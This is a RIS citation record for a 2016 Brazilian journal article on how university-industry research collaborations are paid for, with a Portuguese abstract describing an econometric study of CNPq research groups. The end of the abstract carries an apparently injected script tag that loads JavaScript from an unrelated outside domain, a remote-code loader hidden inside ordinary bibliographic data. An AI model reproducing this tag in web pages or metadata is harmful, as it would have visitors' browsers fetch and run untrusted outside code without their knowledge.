TY - JOUR AU - Rapini, Márcia Siqueira AU - Oliveira, Vanessa Parreiras de AU - Silva, Thiago Caliari PY - 2016/08/28 Y2 - 2024/03/29 TI - Como a interação universidade-empresa é remunerada no Brasil: evidências dos grupos de pesquisa do CNPq JF - Revista Brasileira de Inovação JA - Rev. Bras. Inov. VL - 15 IS - 2 SE - Artigos DO - 10.20396/rbi.v15i2.8649129 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/rbi/article/view/8649129 SP - 219-246 AB - O objetivo deste artigo é investigar o financiamento da interação universidade-empresa (UE) no Brasil. Foram analisados os tipos de relacionamento e suas respectivas remunerações referentes a 2.726 grupos de pesquisa do Censo 2008 do Diretório de Grupos de Pesquisa/ CNPq. A análise aponta que os tipos de remuneração mais frequentes foram a transferência de recursos financeiros e materiais entre as partes e, em menor proporção, as remunerações vinculadas à geração e à troca de conhecimento por meio de bolsas e intercâmbio de pessoal. Usando um modelo econométrico logit multinomial, foram analisadas características que influenciam no tipo de remuneração utilizado na interação U-E. Os resultados sugerem que a excelência científica, a grande área de conhecimento, o modo de interação e o setor de atuação da empresa impactam de maneira diferenciada no tipo de remuneração estabelecido.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -